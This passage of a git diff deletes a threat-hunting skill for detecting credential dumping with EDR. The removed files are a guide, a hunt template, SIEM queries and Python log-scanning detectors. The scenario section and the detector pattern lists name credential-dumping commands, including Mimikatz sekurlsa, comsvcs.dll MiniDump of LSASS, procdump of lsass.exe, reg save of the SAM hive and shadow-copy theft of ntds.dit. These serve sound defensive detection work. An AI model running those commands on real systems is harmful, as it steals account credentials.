obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. Please do not remove or change - the license header comment from a contributed file except when - necessary. - - Copyright 2026 mukul975 - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/skills/detecting-credential-dumping-with-edr.bak/SKILL.md b/skills/detecting-credential-dumping-with-edr.bak/SKILL.md deleted file mode 100644 index 84e13850..00000000 --- a/skills/detecting-credential-dumping-with-edr.bak/SKILL.md +++ /dev/null @@ -1,90 +0,0 @@ ---- -name: detecting-credential-dumping-with-edr -description: Detect OS credential dumping techniques including LSASS access, SAM extraction, and DCSync using EDR telemetry and Sysmon logs. -domain: cybersecurity -subdomain: threat-hunting -tags: [threat-hunting, mitre-attack, credential-dumping, edr, lsass, t1003, proactive-detection] -version: "1.0" -author: mahipal -license: Apache-2.0 ---- - -# Detecting Credential Dumping with EDR - -## When to Use - -- When hunting for post-exploitation credential theft in compromised environments -- After detecting suspicious LSASS process access in EDR alerts -- When investigating potential Active Directory compromise -- During incident response to determine scope of credential exposure -- When proactively hunting for T1003 sub-techniques across endpoints - -## Prerequisites - -- EDR platform with process access monitoring (CrowdStrike, MDE, SentinelOne) -- Sysmon deployed with Event ID 10 (Process Access) configured for LSASS -- Windows Security Event Log 4688 with command-line auditing enabled -- Active Directory event forwarding for DCSync detection (Event ID 4662) -- Windows Security Event Log 4656/4663 for SAM registry access - -## Workflow - -1. **Identify Credential Dumping Vectors**: Map the T1003 sub-techniques relevant to your environment (LSASS Memory, SAM, NTDS, DCSync, /etc/passwd, Cached Credentials). -2. **Query LSASS Access Events**: Search for Sysmon Event ID 10 where TargetImage is lsass.exe with suspicious GrantedAccess masks (0x1010, 0x1038, 0x1FFFFF). -3. **Analyze Process Context**: Examine the source process accessing LSASS - legitimate security tools vs. unknown or suspicious binaries. -4. **Hunt for SAM/NTDS Access**: Query for reg.exe save operations against SAM/SECURITY/SYSTEM hives and ntdsutil/vssadmin shadow copy access. -5. **Detect DCSync Activity**: Monitor for DS-Replication-Get-Changes requests from non-domain-controller sources (Event ID 4662). -6. **Correlate with Network Activity**: Cross-reference credential dumping with subsequent lateral movement or authentication anomalies. -7. **Assess Impact and Report**: Determine which credentials were potentially exposed and recommend password resets and containment. - -## Key Concepts - -| Concept | Description | -|---------|-------------| -| T1003 | OS Credential Dumping - parent technique | -| T1003.001 | LSASS Memory - dumping credentials from LSASS process | -| T1003.002 | Security Account Manager (SAM) - extracting local password hashes | -| T1003.003 | NTDS - extracting AD database from Domain Controllers | -| T1003.004 | LSA Secrets - accessing stored service credentials | -| T1003.005 | Cached Domain Credentials (DCC2) | -| T1003.006 | DCSync - replicating AD credentials via DRSUAPI | -| LSASS | Local Security Authority Subsystem Service | -| GrantedAccess | Bitmask indicating the access rights requested for a process | -| Minidump | Memory dump technique used by tools like comsvcs.dll | - -## Tools & Systems - -| Tool | Purpose | -|------|---------| -| CrowdStrike Falcon | LSASS access detection and process tree analysis | -| Microsoft Defender for Endpoint | Advanced hunting for credential access events | -| Sysmon | Process access monitoring (Event ID 10) | -| Velociraptor | Endpoint artifact collection for LSASS analysis | -| Elastic Security | Correlation of credential dumping indicators | -| Splunk | SPL queries for credential access event analysis | -| Volatility | Memory forensics for LSASS credential extraction | - -## Common Scenarios - -1. **Mimikatz LSASS Dump**: Attacker runs `sekurlsa::logonpasswords` causing direct LSASS memory read with GrantedAccess 0x1010. -2. **Comsvcs.dll MiniDump**: Process uses `rundll32.exe comsvcs.dll MiniDump [LSASS PID]` to create LSASS memory dump file. -3. **ProcDump LSASS**: Attacker uses Microsoft-signed procdump.exe with `-ma lsass.exe` to dump LSASS memory. -4. **SAM Registry Export**: Adversary runs `reg save HKLM\SAM sam.bak` to extract local password hashes. -5. **DCSync Replication**: Compromised account with Replicating Directory Changes permissions performs DCSync from a workstation. -6. **NTDS Shadow Copy**: Attacker uses `vssadmin create shadow /for=C:` then copies ntds.dit from the shadow copy. - -## Output Format - -``` -Hunt ID: TH-CRED-DUMP-[DATE]-[SEQ] -Technique: T1003.[Sub-technique] -Source Process: [Process accessing LSASS/SAM/NTDS] -Target: [lsass.exe / SAM / NTDS.dit / DC Replication] -Host: [Hostname] -User: [Account context] -GrantedAccess: [Access mask if applicable] -Timestamp: [UTC] -Risk Level: [Critical/High/Medium/Low] -Evidence: [Log entries, process tree, network activity] -Recommended Action: [Password reset scope, containment steps] -``` diff --git a/skills/detecting-credential-dumping-with-edr.bak/assets/template.md b/skills/detecting-credential-dumping-with-edr.bak/assets/template.md deleted file mode 100644 index 82613501..00000000 --- a/skills/detecting-credential-dumping-with-edr.bak/assets/template.md +++ /dev/null @@ -1,64 +0,0 @@ -# Credential Dumping Hunt Template - -## Hunt Metadata - -| Field | Value | -|-------|-------| -| Hunt ID | TH-CRED-DUMP-YYYY-MM-DD-NNN | -| Analyst | | -| Date | | -| Status | [ ] In Progress / [ ] Complete | - -## Hypothesis - -> [e.g., "Adversaries have used Mimikatz or similar tools to dump LSASS memory on compromised endpoints to harvest domain credentials."] - -## Target Techniques - -- [ ] T1003.001 - LSASS Memory -- [ ] T1003.002 - SAM Database -- [ ] T1003.003 - NTDS.dit -- [ ] T1003.004 - LSA Secrets -- [ ] T1003.005 - Cached Domain Credentials -- [ ] T1003.006 - DCSync - -## Data Sources - -- [ ] Sysmon Event ID 10 (Process Access) -- [ ] Sysmon Event ID 1 (Process Creation) -- [ ] Windows Security 4656/4663 -- [ ] Windows Security 4662 (DCSync) -- [ ] EDR Telemetry: _______________ - -## LSASS Access Findings - -| # | Timestamp | Host | User | Source Process | Access Mask | Risk | Verdict | -|---|-----------|------|------|---------------|-------------|------|---------| -| 1 | | | | | | | | -| 2 | | | | | | | | - -## Tool Detection Findings - -| # | Timestamp | Host | User | Tool | Command Line | Technique | Verdict | -|---|-----------|------|------|------|-------------|-----------|---------| -| 1 | | | | | | | | -| 2 | | | | | | | | - -## DCSync Findings - -| # | Timestamp | Source Host | User | Replication Right | Is Legitimate DC? | Verdict | -|---|-----------|------------|------|-------------------|-------------------|---------| -| 1 | | | | | | | - -## Compromised Credentials Assessment - -| Account | Type | Hash Type | Exposure Scope | Reset Required? | -|---------|------|-----------|---------------|----------------| -| | | | | | - -## Recommendations - -1. **Immediate Actions**: [Password resets, account lockouts] -2. **Containment**: [Isolate affected systems] -3. **Detection Improvements**: [New rules, LSASS protection] -4. **Hardening**: [Credential Guard, PPL, ASR rules] diff --git a/skills/detecting-credential-dumping-with-edr.bak/references/api-reference.md b/skills/detecting-credential-dumping-with-edr.bak/references/api-reference.md deleted file mode 100644 index 94588c53..00000000 --- a/skills/detecting-credential-dumping-with-edr.bak/references/api-reference.md +++ /dev/null @@ -1,65 +0,0 @@ -# API Reference: Detecting Credential Dumping with EDR - -## T1003 Sub-Techniques - -| Sub-technique | Method | Key Evidence | -|---------------|--------|--------------| -| T1003.001 | LSASS Memory | Sysmon Event ID 10, GrantedAccess mask | -| T1003.002 | SAM Registry | reg.exe save HKLM\SAM, Event ID 4656 | -| T1003.003 | NTDS.dit | vssadmin shadow copy, ntdsutil ifm | -| T1003.004 | LSA Secrets | Registry HKLM\SECURITY | -| T1003.005 | Cached Creds | DCC2 hashes in SECURITY hive | -| T1003.006 | DCSync | Event ID 4662, replication GUIDs | - -## python-evtx Library - -```python -import Evtx.Evtx as evtx - -with evtx.Evtx("Sysmon.evtx") as log: - for record in log.records(): - xml = record.xml() - # Parse EventID, SourceImage, TargetImage, GrantedAccess -``` - -## LSASS Suspicious Access Masks - -| GrantedAccess | Meaning | -|---------------|---------| -| 0x1010 | PROCESS_VM_READ + QUERY_INFO (Mimikatz) | -| 0x1038 | VM_READ + QUERY_INFO + VM_WRITE | -| 0x1FFFFF | PROCESS_ALL_ACCESS | - -## DCSync Replication GUIDs - -``` -DS-Replication-Get-Changes: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 -DS-Replication-Get-Changes-All: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 -DS-Replication-Get-Changes-In-Filtered: 89e95b76-444d-4c62-991a-0facbeda640c -``` - -## Splunk SPL - LSASS Access Detection - -```spl -index=sysmon EventCode=10 TargetImage="*\\lsass.exe" -| where NOT match(SourceImage, "(csrss|services|svchost|lsm|MsMpEng)\\.exe$") -| where GrantedAccess IN ("0x1010", "0x1038", "0x1FFFFF") -| table _time SourceImage GrantedAccess Computer SourceUser -``` - -## KQL - Microsoft Defender for Endpoint - -```kql -DeviceProcessEvents -| where FileName in ("mimikatz.exe", "procdump.exe", "nanodump.exe") - or ProcessCommandLine has_any ("sekurlsa", "lsadump", "MiniDump") -| project Timestamp, DeviceName, FileName, ProcessCommandLine, AccountName -``` - -## CLI Usage - -```bash -python agent.py --sysmon-log Sysmon.evtx -python agent.py --security-log Security.evtx -python agent.py --command-log process_audit.log -``` diff --git a/skills/detecting-credential-dumping-with-edr.bak/references/standards.md b/skills/detecting-credential-dumping-with-edr.bak/references/standards.md deleted file mode 100644 index 391ec3e6..00000000 --- a/skills/detecting-credential-dumping-with-edr.bak/references/standards.md +++ /dev/null @@ -1,87 +0,0 @@ -# Standards and References - Credential Dumping Detection - -## MITRE ATT&CK Mappings - -### T1003 - OS Credential Dumping (Parent Technique) - -| Sub-Technique | Name | Description | -|---------------|------|-------------| -| T1003.001 | LSASS Memory | Dumping credentials stored in LSASS process memory | -| T1003.002 | Security Account Manager | Extracting local hashes from SAM database | -| T1003.003 | NTDS | Stealing AD database from Domain Controllers | -| T1003.004 | LSA Secrets | Accessing stored service account credentials | -| T1003.005 | Cached Domain Credentials | Extracting DCC2 hashed credentials | -| T1003.006 | DCSync | Simulating DC replication to extract credentials | -| T1003.007 | Proc Filesystem (/proc) | Linux credential extraction | -| T1003.008 | /etc/passwd and /etc/shadow | Unix credential files | - -### Related Techniques -- **T1555 - Credentials from Password Stores**: Browser, keychain, password manager credentials -- **T1552 - Unsecured Credentials**: Files, registry, bash history, cloud metadata -- **T1558 - Steal or Forge Kerberos Tickets**: Kerberoasting, Golden/Silver tickets -- **T1550 - Use Alternate Authentication Material**: Pass the Hash, Pass the Ticket - -### Tactic -- **TA0006 - Credential Access** - -## Detection Data Sources - -### LSASS Access Detection -| Source | Event ID | Details | -|--------|----------|---------| -| Sysmon | 10 | ProcessAccess - TargetImage = lsass.exe | -| Windows Security | 4656 | Handle requested to process object | -| Windows Security | 4663 | Attempt to access process object | -| Windows Security | 4688 | Process creation with command line | -| ETW | Microsoft-Windows-Kernel-Process | Kernel-level process access | - -### SAM/Registry Detection -| Source | Event ID | Details | -|--------|----------|---------| -| Sysmon | 1 | reg.exe with save SAM/SECURITY/SYSTEM | -| Windows Security | 4656 | Handle to registry key | -| Windows Security | 4688 | reg.exe/regedit.exe command line | - -### DCSync Detection -| Source | Event ID | Details | -|--------|----------|---------| -| Windows Security | 4662 | DS-Replication-Get-Changes operation | -| Windows Security | 4624/4625 | Authentication to DC from non-DC source | -| Network | DRSUAPI | RPC calls for directory replication | - -### NTDS Access Detection -| Source | Event ID | Details | -|--------|----------|---------| -| Sysmon | 1 | ntdsutil.exe, vssadmin.exe execution | -| Windows Security | 4688 | Shadow copy creation commands | -| VSS | 8224 | Volume Shadow Copy Service operations | - -## LSASS Access Mask Reference - -| Access Mask | Hex | Meaning | -|-------------|-----|---------| -| PROCESS_VM_READ | 0x0010 | Read process memory | -| PROCESS_QUERY_INFORMATION | 0x0400 | Query process info | -| 0x1010 | Combined | VM_READ + QUERY_INFO (Mimikatz default) | -| 0x1038 | Combined | Common credential dumping mask | -| 0x1FFFFF | PROCESS_ALL_ACCESS | Full access to process | -| 0x0410 | Combined | Query + VM_READ minimal | - -## Known Credential Dumping Tools - -| Tool | Technique | Detection Signature | -|------|-----------|-------------------| -| Mimikatz | T1003.001, T1003.006 | LSASS access with 0x1010, sekurlsa module | -| LaZagne | T1003.001, T1555 | Multi-credential extractor | -| ProcDump | T1003.001 | Signed MS tool, -ma lsass.exe | -| comsvcs.dll | T1003.001 | MiniDump via rundll32 | -| secretsdump.py | T1003.002, T1003.003, T1003.006 | Impacket DCSync/SAM | -| ntdsutil.exe | T1003.003 | IFM creation for NTDS | -| SharpDump | T1003.001 | .NET LSASS dumper | -| PPLdump | T1003.001 | PPL bypass LSASS dump | -| nanodump | T1003.001 | Stealthy minidump | - -## Regulatory References -- NIST SP 800-171 Rev 2: 3.1.1 (Access Control) -- CIS Controls v8: Control 6 (Access Control Management) -- PCI DSS 4.0: Requirement 7 (Restrict Access) diff --git a/skills/detecting-credential-dumping-with-edr.bak/references/workflows.md b/skills/detecting-credential-dumping-with-edr.bak/references/workflows.md deleted file mode 100644 index 7254b67a..00000000 --- a/skills/detecting-credential-dumping-with-edr.bak/references/workflows.md +++ /dev/null @@ -1,134 +0,0 @@ -# Detailed Hunting Workflow - Credential Dumping Detection - -## Phase 1: LSASS Memory Access Hunting - -### Step 1.1 - Sysmon Event ID 10 Analysis -```spl -index=sysmon EventCode=10 TargetImage="*\\lsass.exe" -| where NOT match(SourceImage, "(?i)(csrss|svchost|services|lsass|wininit|MsMpEng|MsSense|CrowdStrike)") -| eval suspicious_access=case( - GrantedAccess="0x1FFFFF", "CRITICAL-Full_Access", - GrantedAccess="0x1010", "HIGH-VM_Read_Query", - GrantedAccess="0x1038", "HIGH-Credential_Dump_Mask", - GrantedAccess="0x0410", "MEDIUM-Query_VM_Read", - 1=1, "LOW-Other" -) -| stats count by SourceImage, GrantedAccess, suspicious_access, Computer, User -| sort -count -``` - -### Step 1.2 - KQL for Microsoft Defender for Endpoint -```kql -DeviceEvents -| where Timestamp > ago(7d) -| where ActionType == "OpenProcessApiCall" -| where FileName == "lsass.exe" -| where InitiatingProcessFileName !in~ ("csrss.exe","svchost.exe","services.exe","MsMpEng.exe") -| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, - InitiatingProcessCommandLine, AdditionalFields -| order by Timestamp desc -``` - -### Step 1.3 - CrowdStrike Falcon Query -``` -event_simpleName=ProcessRollup2 TargetProcessImageFileName=lsass.exe -| where ContextProcessImageFileName!="csrss.exe" AND ContextProcessImageFileName!="svchost.exe" -| stats count by ContextProcessImageFileName ComputerName UserName -``` - -## Phase 2: SAM/SECURITY Hive Access - -### Step 2.1 - Registry Save Operations -```spl -index=sysmon EventCode=1 -| where match(CommandLine, "(?i)reg\s+(save|export)\s+.*(SAM|SECURITY|SYSTEM)") -| table _time Computer User Image CommandLine ParentImage -``` - -### Step 2.2 - Shadow Copy for SAM Access -```spl -index=sysmon EventCode=1 -| where match(CommandLine, "(?i)(vssadmin|wmic)\s+.*(shadow|create)") -| append [ - search index=sysmon EventCode=1 - | where match(CommandLine, "(?i)copy.*\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy") -] -| table _time Computer User CommandLine ParentImage -``` - -## Phase 3: DCSync Detection - -### Step 3.1 - Directory Replication Monitoring -```spl -index=wineventlog EventCode=4662 -| where match(Properties, "(?i)(1131f6aa|1131f6ad|89e95b76)") -| where NOT match(SubjectUserName, "(?i)(\\$|DomainController)") -| table _time SubjectUserName SubjectDomainName ObjectName Properties -``` - -The GUIDs to monitor: -- `1131f6aa-9c07-11d1-f79f-00c04fc2dcd2` = DS-Replication-Get-Changes -- `1131f6ad-9c07-11d1-f79f-00c04fc2dcd2` = DS-Replication-Get-Changes-All -- `89e95b76-444d-4c62-991a-0facbeda640c` = DS-Replication-Get-Changes-In-Filtered-Set - -### Step 3.2 - Non-DC Source Validation -```kql -SecurityEvent -| where EventID == 4662 -| where Properties has "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" -| where Computer !in (known_domain_controllers) -| project TimeGenerated, Computer, SubjectAccount, SubjectDomainName -``` - -## Phase 4: Tool-Specific Detection - -### Step 4.1 - Mimikatz Indicators -```spl -index=sysmon (EventCode=1 OR EventCode=10) -| where match(CommandLine, "(?i)(sekurlsa|lsadump|kerberos::list|crypto::cng|privilege::debug)") - OR (EventCode=10 AND TargetImage="*\\lsass.exe" AND GrantedAccess IN ("0x1010","0x1038")) -| table _time EventCode Computer User Image CommandLine GrantedAccess -``` - -### Step 4.2 - Comsvcs.dll MiniDump Detection -```spl -index=sysmon EventCode=1 Image="*\\rundll32.exe" -| where match(CommandLine, "(?i)comsvcs.*MiniDump") -| table _time Computer User CommandLine ParentImage -``` - -### Step 4.3 - ProcDump LSASS Detection -```spl -index=sysmon EventCode=1 -| where match(CommandLine, "(?i)procdump.*(-ma|-accepteula).*lsass") -| table _time Computer User CommandLine ParentImage -``` - -## Phase 5: Correlation and Impact Assessment - -### Step 5.1 - Post-Credential-Dump Lateral Movement -```spl -index=sysmon EventCode=10 TargetImage="*\\lsass.exe" GrantedAccess IN ("0x1010","0x1038","0x1FFFFF") -| rename Computer as src_host -| join src_host [ - search index=wineventlog EventCode=4624 Logon_Type=3 - | rename Computer as src_host -] -| table _time src_host User SourceImage dest_host -``` - -### Step 5.2 - Timeline Construction -Build a timeline correlating: -1. Initial LSASS access event (credential dump) -2. Subsequent authentication events (Pass-the-Hash/Ticket) -3. Lateral movement to new hosts -4. Additional credential dumping on new hosts - -## Phase 6: Reporting - -### Key Metrics to Report -- Number of unique hosts with LSASS access anomalies -- Tools identified (known vs. custom) -- Accounts potentially compromised -- Lateral movement scope -- Time from initial dump to last detected activity diff --git a/skills/detecting-credential-dumping-with-edr.bak/scripts/agent.py b/skills/detecting-credential-dumping-with-edr.bak/scripts/agent.py deleted file mode 100644 index 7dce2b29..00000000 --- a/skills/detecting-credential-dumping-with-edr.bak/scripts/agent.py +++ /dev/null @@ -1,192 +0,0 @@ -#!/usr/bin/env python3 -"""Credential dumping detection agent using Sysmon and Windows Event Log analysis. - -Parses EVTX logs for LSASS access (Event ID 10), SAM registry access, -DCSync indicators (Event ID 4662), and suspicious process patterns. -""" - -import argparse -import json -import re -from datetime import datetime - -try: - import Evtx.Evtx as evtx -except ImportError: - evtx = None - -LSASS_SUSPICIOUS_ACCESS = { - "0x1010": "PROCESS_VM_READ | PROCESS_QUERY_INFORMATION (Mimikatz)", - "0x1038": "PROCESS_VM_READ | PROCESS_QUERY_INFO | PROCESS_VM_WRITE", - "0x1fffff": "PROCESS_ALL_ACCESS", - "0x1410": "PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION", - "0x0810": "PROCESS_VM_READ | PROCESS_QUERY_INFORMATION", -} - -LSASS_LEGITIMATE_SOURCES = { - "csrss.exe", "services.exe", "lsm.exe", "svchost.exe", - "mrt.exe", "taskmgr.exe", "wmiprvse.exe", -} - -DCSYNC_GUIDS = { - "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Get-Changes", - "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Get-Changes-All", - "89e95b76-444d-4c62-991a-0facbeda640c": "DS-Replication-Get-Changes-In-Filtered-Set", -} - -SAM_COMMANDS = [ - r"reg\s+save\s+hklm\\sam", - r"reg\s+save\s+hklm\\security", - r"reg\s+save\s+hklm\\system", - r"vssadmin\s+create\s+shadow", - r"ntdsutil.*ifm", - r"copy.*ntds\.dit", - r"esentutl.*ntds", -] - -DUMP_TOOLS = { - "mimikatz.exe": "CRITICAL", "procdump.exe": "HIGH", "procdump64.exe": "HIGH", - "nanodump.exe": "CRITICAL", "pypykatz": "CRITICAL", - "secretsdump.py": "CRITICAL", "lazagne.exe": "HIGH", -} - - -def parse_sysmon_event10(filepath): - if evtx is None: - return {"error": "python-evtx not installed: pip install python-evtx"} - findings = [] - with evtx.Evtx(filepath) as log: - for record in log.records(): - xml = record.xml() - if "10" not in xml: - continue - target = re.search(r'([^<]+)', xml) - if not target or "lsass.exe" not in target.group(1).lower(): - continue - source = re.search(r'([^<]+)', xml) - access = re.search(r'([^<]+)', xml) - source_user = re.search(r'([^<]+)', xml) - time_created = re.search(r'SystemTime="([^"]+)"', xml) - - source_name = source.group(1) if source else "" - source_basename = source_name.rsplit("\\", 1)[-1].lower() - access_mask = access.group(1) if access else "" - - if source_basename in LSASS_LEGITIMATE_SOURCES: - continue - - severity = "HIGH" - technique = "T1003.001" - if access_mask.lower() in LSASS_SUSPICIOUS_ACCESS: - severity = "CRITICAL" - - findings.append({ - "event_id": 10, - "timestamp": time_created.group(1) if time_created else "", - "source_image": source_name, - "target_image": target.group(1), - "granted_access": access_mask, - "access_meaning": LSASS_SUSPICIOUS_ACCESS.get(access_mask.lower(), ""), - "source_user": source_user.group(1) if source_user else "", - "severity": severity, - "mitre": technique, - }) - return findings - - -def parse_security_4662(filepath): - if evtx is None: - return {"error": "python-evtx not installed"} - findings = [] - with evtx.Evtx(filepath) as log: - for record in log.records(): - xml = record.xml() - if "4662" not in xml: - continue - props = re.search(r'([^<]+)', xml) - if not props: - continue - prop_text = props.group(1).lower() - matched_guids = [] - for guid, name in DCSYNC_GUIDS.items(): - if guid in prop_text: - matched_guids.append(name) - if not matched_guids: - continue - subject = re.search(r'([^<]+)', xml) - subject_name = subject.group(1) if subject else "" - if subject_name.endswith("$"): - continue - time_created = re.search(r'SystemTime="([^"]+)"', xml) - findings.append({ - "event_id": 4662, - "timestamp": time_created.group(1) if time_created else "", - "subject_user": subject_name, - "replication_rights": matched_guids, - "severity": "CRITICAL", - "mitre": "T1003.006", - "description": "DCSync - non-DC account requesting replication", - }) - return findings - - -def detect_sam_dump_commands(filepath): - findings = [] - with open(filepath, "r", encoding="utf-8", errors="replace") as f: - for line_num, line in enumerate(f, 1): - for pattern in SAM_COMMANDS: - if re.search(pattern, line, re.IGNORECASE): - findings.append({ - "line": line_num, - "command": line.strip()[:200], - "pattern": pattern, - "severity": "CRITICAL", - "mitre": "T1003.002", - }) - for tool, sev in DUMP_TOOLS.items(): - if tool.lower() in line.lower(): - findings.append({ - "line": line_num, - "tool": tool, - "severity": sev, - "mitre": "T1003", - }) - return findings - - -def main(): - parser = argparse.ArgumentParser(description="Credential Dumping Detector") - parser.add_argument("--sysmon-log", help="Sysmon EVTX file for LSASS access (Event 10)") - parser.add_argument("--security-log", help="Security EVTX file for DCSync (Event 4662)") - parser.add_argument("--command-log", help="Text log to scan for SAM dump commands") - args = parser.parse_args() - - results = {"timestamp": datetime.utcnow().isoformat() + "Z", "findings": []} - - if args.sysmon_log: - lsass = parse_sysmon_event10(args.sysmon_log) - if isinstance(lsass, dict) and "error" in lsass: - results["lsass_error"] = lsass["error"] - else: - results["lsass_access"] = lsass - results["findings"].extend(lsass) - - if args.security_log: - dcsync = parse_security_4662(args.security_log) - if isinstance(dcsync, dict) and "error" in dcsync: - results["dcsync_error"] = dcsync["error"] - else: - results["dcsync_events"] = dcsync - results["findings"].extend(dcsync) - - if args.command_log: - sam = detect_sam_dump_commands(args.command_log) - results["sam_dump_commands"] = sam - results["findings"].extend(sam) - - results["total_findings"] = len(results["findings"]) - print(json.dumps(results, indent=2)) - - -if __name__ == "__main__": - main() diff --git a/skills/detecting-credential-dumping-with-edr.bak/scripts/process.py b/skills/detecting-credential-dumping-with-edr.bak/scripts/process.py deleted file mode 100644 index c0b3f111..00000000 --- a/skills/detecting-credential-dumping-with-edr.bak/scripts/process.py +++ /dev/null @@ -1,383 +0,0 @@ -#!/usr/bin/env python3 -""" -Credential Dumping Detection Script -Analyzes process access logs for LSASS memory access, SAM extraction, -DCSync activity, and other credential theft indicators. -""" - -import json -import csv -import argparse -import datetime -import re -import sys -from collections import defaultdict -from pathlib import Path - -# Suspicious LSASS access masks indicating credential dumping -SUSPICIOUS_ACCESS_MASKS = { - "0x1FFFFF": {"risk": "CRITICAL", "description": "PROCESS_ALL_ACCESS - full process access"}, - "0x1010": {"risk": "HIGH", "description": "PROCESS_VM_READ + PROCESS_QUERY_INFORMATION (Mimikatz default)"}, - "0x1038": {"risk": "HIGH", "description": "Common credential dumping access mask"}, - "0x0410": {"risk": "MEDIUM", "description": "PROCESS_QUERY_INFORMATION + PROCESS_VM_READ"}, - "0x1400": {"risk": "MEDIUM", "description": "PROCESS_QUERY_INFORMATION + PROCESS_QUERY_LIMITED"}, - "0x0040": {"risk": "HIGH", "description": "PROCESS_DUP_HANDLE - handle duplication"}, - "0x0810": {"risk": "HIGH", "description": "PROCESS_SUSPEND_RESUME + PROCESS_VM_READ"}, - "0x1fffff": {"risk": "CRITICAL", "description": "PROCESS_ALL_ACCESS (lowercase)"}, -} - -# Legitimate processes that commonly access LSASS -LSASS_WHITELIST = { - "csrss.exe", "svchost.exe", "services.exe", "lsass.exe", "wininit.exe", - "smss.exe", "wmiprvse.exe", "taskmgr.exe", "procexp.exe", "procexp64.exe", - "msmpsvc.exe", "msmpeng.exe", "nissrv.exe", "mssense.exe", "sensecncproxy.exe", - "csfalconservice.exe", "csfalconcontainer.exe", - "sentinelagent.exe", "sentinelone.exe", - "cb.exe", "carbonblack.exe", - "logrhythmagent.exe", -} - -# Known credential dumping tool command-line patterns -CRED_DUMP_TOOL_PATTERNS = { - "mimikatz": { - "patterns": [ - r"sekurlsa::", - r"lsadump::", - r"kerberos::list", - r"crypto::cng", - r"privilege::debug", - r"token::elevate", - r"dpapi::", - r"vault::cred", - ], - "technique": "T1003.001/T1003.006", - }, - "comsvcs_minidump": { - "patterns": [ - r"comsvcs\.dll.*MiniDump", - r"comsvcs\.dll.*#24", - ], - "technique": "T1003.001", - }, - "procdump": { - "patterns": [ - r"procdump.*-ma.*lsass", - r"procdump.*lsass.*-ma", - r"procdump.*-accepteula.*lsass", - ], - "technique": "T1003.001", - }, - "reg_save": { - "patterns": [ - r"reg\s+(save|export)\s+HKLM\\SAM", - r"reg\s+(save|export)\s+HKLM\\SECURITY", - r"reg\s+(save|export)\s+HKLM\\SYSTEM", - ], - "technique": "T1003.002", - }, - "ntdsutil": { - "patterns": [ - r"ntdsutil.*ifm", - r"ntdsutil.*\"activate instance ntds\"", - r"ntdsutil.*create full", - ], - "technique": "T1003.003", - }, - "vssadmin_shadow": { - "patterns": [ - r"vssadmin.*create\s+shadow", - r"copy.*GLOBALROOT.*Device.*HarddiskVolumeShadowCopy", - r"wmic.*shadowcopy.*create", - ], - "technique": "T1003.003", - }, - "secretsdump": { - "patterns": [ - r"secretsdump", - r"impacket.*dump", - ], - "technique": "T1003.002/T1003.003/T1003.006", - }, - "lazagne": { - "patterns": [ - r"lazagne", - r"LaZagne\.exe", - ], - "technique": "T1003.001/T1555", - }, - "sharpdump": { - "patterns": [ - r"SharpDump", - r"sharpdump", - ], - "technique": "T1003.001", - }, - "nanodump": { - "patterns": [ - r"nanodump", - ], - "technique": "T1003.001", - }, -} - -# DCSync detection GUIDs -DCSYNC_GUIDS = { - "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Get-Changes", - "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Get-Changes-All", - "89e95b76-444d-4c62-991a-0facbeda640c": "DS-Replication-Get-Changes-In-Filtered-Set", -} - - -def parse_logs(input_path: str) -> list[dict]: - """Parse log files in JSON or CSV format.""" - events = [] - path = Path(input_path) - if path.suffix == ".json": - with open(path, "r", encoding="utf-8") as f: - data = json.load(f) - events = data if isinstance(data, list) else data.get("events", data.get("hits", {}).get("hits", [])) - if events and isinstance(events[0], dict) and "_source" in events[0]: - events = [e["_source"] for e in events] - elif path.suffix == ".csv": - with open(path, "r", encoding="utf-8-sig") as f: - reader = csv.DictReader(f) - events = [dict(row) for row in reader] - return events - - -def normalize_event(event: dict) -> dict: - """Normalize event field names.""" - field_map = { - "source_image": ["SourceImage", "source_image", "InitiatingProcessFileName", "process.executable"], - "target_image": ["TargetImage", "target_image", "FileName", "target.process.executable"], - "granted_access": ["GrantedAccess", "granted_access", "AccessMask"], - "command_line": ["CommandLine", "command_line", "ProcessCommandLine", "process.command_line"], - "user": ["User", "user", "AccountName", "SubjectUserName", "user.name"], - "hostname": ["Computer", "hostname", "DeviceName", "host.name"], - "timestamp": ["UtcTime", "timestamp", "Timestamp", "@timestamp"], - "event_id": ["EventID", "EventCode", "event_id", "event.code"], - "parent_image": ["ParentImage", "parent_image", "InitiatingProcessParentFileName"], - "properties": ["Properties", "properties", "ObjectType"], - } - normalized = {} - for target, sources in field_map.items(): - for src in sources: - if src in event and event[src]: - normalized[target] = str(event[src]) - break - if target not in normalized: - normalized[target] = "" - return normalized - - -def detect_lsass_access(event: dict) -> dict | None: - """Detect suspicious LSASS process access.""" - target = event.get("target_image", "").lower() - if "lsass.exe" not in target: - return None - - source = event.get("source_image", "").lower() - source_name = source.split("\\")[-1].split("/")[-1] - access = event.get("granted_access", "").lower() - - # Skip whitelisted processes - if source_name in LSASS_WHITELIST: - return None - - risk_info = SUSPICIOUS_ACCESS_MASKS.get(access, SUSPICIOUS_ACCESS_MASKS.get(access.upper())) - if not risk_info: - risk_info = {"risk": "LOW", "description": f"Unknown access mask: {access}"} - - return { - "detection_type": "LSASS_ACCESS", - "technique": "T1003.001", - "source_process": event.get("source_image", ""), - "target_process": event.get("target_image", ""), - "granted_access": access, - "access_description": risk_info["description"], - "risk_level": risk_info["risk"], - "user": 